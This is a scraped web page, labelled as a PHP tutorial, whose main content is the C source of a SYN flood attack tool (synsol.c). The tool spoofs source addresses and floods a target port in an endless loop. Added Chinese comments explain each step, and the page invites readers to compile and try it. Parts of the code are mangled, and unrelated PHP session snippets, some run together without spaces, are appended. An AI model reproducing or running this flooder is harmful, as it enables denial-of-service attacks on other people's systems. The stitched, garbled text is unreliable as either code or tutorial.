


Code analysis of a SYN attack--Used Gcc/RedHat Linux 9.0 compilation_PHP tutorial
This is an era of LINUX/UNIX, and you are still trying to understand a little bit of Java development. This is a source program for a SYN attack: Everyone, try reading it and see if you can understand it. If you don’t understand, it’s okay. Leave me a message E-MAIL: QIYU155·126. com. I added Chinese comments!
This is the source program of a SYN attack: Try reading it and see if you can understand it. If you don’t understand, you can leave me a message. I added Chinese comments./* Syn Attack against a port for Solaris */ /* Original land attack, land.c by m3lt, FLC */ /* Ported to 44BSD by blast and jerm */ /* Ported to Solaris by ziro antagonist */ /* Referenced flood.c by unknown author */ /* Converted into a syn attack against one port by CRG */ /* Please use this for educational purposes only */ /* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */ /* Additional notes: */ /* Successfully compiled on Solaris 2.51 and 2.6 */ /* Runs: synsol */ /* */ /* Tested it on: Solaris 2.6 */ /* */ /* Attacked against: */ /* Linux 2.0.33 - vulnerable */ /* Linux 2.0.30 - vulnerable */ /* Linux 1.2.13 - vulnerable */ /* Solaris 2.4 - vulnerable */ /* Solaris 2.5.1 - vulnerable */ /* SunOS 4.1.3_U3 - vulnerable */ /* Solaris 2.6 - not vulnerable */ /* */ /* Most of these test machines are not patched because they */ /* are in test lab. I tested the program against port 23 and */ /* every once in awhile I did get through. */ /* */ /* Direct any comments, questions, improvements to */ /* packetstorm@genocide2600.com */ /* http://www.genocide2600.com/~tattooman/ */ /* Your emails will be forwarded to the author, who wishes */ /* to remain known only as CRG (no email addy or URL) */ /*jjgirl:上面的注释的不用说了!*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /*jjgirl:上面是头文件!*/ unsigned long srcport; struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; /*jjgirl:定义一个伪装地址的结构!*/ u_short checksum(u_short * data,u_short length) { int nleft = length; int sum=0; unsigned short *w = data; unsigned short value = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&value) = *(unsigned char *) w; sum += value; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >> 16); value = ~sum; return(value); } /*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/ int main(int argc,char * * argv) {/*jjgirl:主程序开始了!*/ struct sockaddr_in sin; struct sockaddr_in din; struct hostent * hoste; struct hostent * host1; int j,sock,foo, flooddot=1; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; /*jjgirl:上面定义变量!*/ fprintf(stderr,"Syn attack against one port.(Infinite)
"); if(argch_addr,&din.sin_addr,host1->h_length); else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown source host %s
",argv[3]); return(-1); } if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown destination host %s
",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s
",argv[2]); return(-1); } /*jjgirl:上面是给sockaddr_in结构赋值,需要指明协议,端口号!*/ if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldnt allocate raw socket
"); return(-1); } /*jjgirl:上面开始Socket了!*/ foo=1; if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1) { fprintf(stderr,"couldnt set raw header on socket
"); return(-1); } /*jjgirl:上面是为了重构报头!*/ for(j=1;j>0;j++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_tos=0; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(random()); ipheader->ip_ttl=30; /*255;*/ ipheader->ip_p=IPPROTO_TCP; ipheader->ip_sum=0; ipheader->ip_src=din.sin_addr; ipheader->ip_dst=sin.sin_addr; tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/ tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0x28374839); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_sum=0; bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=din.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); /*jjgirl:上面是重构报头!*/ srcport= (10000.0*random()/(15000+1.0)); /*jjgirl:端口当然要变!*/ if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) /*jjgirl:攻击开始!*/ { fprintf(stderr,"couldnt send packet,%d
",errno); return(-1); } usleep(2); if (!(flooddot = (flooddot+1)%(1))) /*jjgirl:显示次数! Jjgirl 把上面一句,改为如下两句,增加显示效果,随你的便! int k=j; if((k%10)==0) printf("
"); */ } /*The end of the infinite loop*/ close(sock); return(0); } /*jjgirl:结束!编译试试吧!如果有看不懂可以给我留言,或E-MAIL:qiyu155@126.com!*/

PHPsessionstrackuserdataacrossmultiplepagerequestsusingauniqueIDstoredinacookie.Here'showtomanagethemeffectively:1)Startasessionwithsession_start()andstoredatain$_SESSION.2)RegeneratethesessionIDafterloginwithsession_regenerate_id(true)topreventsessi

In PHP, iterating through session data can be achieved through the following steps: 1. Start the session using session_start(). 2. Iterate through foreach loop through all key-value pairs in the $_SESSION array. 3. When processing complex data structures, use is_array() or is_object() functions and use print_r() to output detailed information. 4. When optimizing traversal, paging can be used to avoid processing large amounts of data at one time. This will help you manage and use PHP session data more efficiently in your actual project.

The session realizes user authentication through the server-side state management mechanism. 1) Session creation and generation of unique IDs, 2) IDs are passed through cookies, 3) Server stores and accesses session data through IDs, 4) User authentication and status management are realized, improving application security and user experience.

Tostoreauser'snameinaPHPsession,startthesessionwithsession_start(),thenassignthenameto$_SESSION['username'].1)Usesession_start()toinitializethesession.2)Assigntheuser'snameto$_SESSION['username'].Thisallowsyoutoaccessthenameacrossmultiplepages,enhanc

Reasons for PHPSession failure include configuration errors, cookie issues, and session expiration. 1. Configuration error: Check and set the correct session.save_path. 2.Cookie problem: Make sure the cookie is set correctly. 3.Session expires: Adjust session.gc_maxlifetime value to extend session time.

Methods to debug session problems in PHP include: 1. Check whether the session is started correctly; 2. Verify the delivery of the session ID; 3. Check the storage and reading of session data; 4. Check the server configuration. By outputting session ID and data, viewing session file content, etc., you can effectively diagnose and solve session-related problems.

Multiple calls to session_start() will result in warning messages and possible data overwrites. 1) PHP will issue a warning, prompting that the session has been started. 2) It may cause unexpected overwriting of session data. 3) Use session_status() to check the session status to avoid repeated calls.

Configuring the session lifecycle in PHP can be achieved by setting session.gc_maxlifetime and session.cookie_lifetime. 1) session.gc_maxlifetime controls the survival time of server-side session data, 2) session.cookie_lifetime controls the life cycle of client cookies. When set to 0, the cookie expires when the browser is closed.


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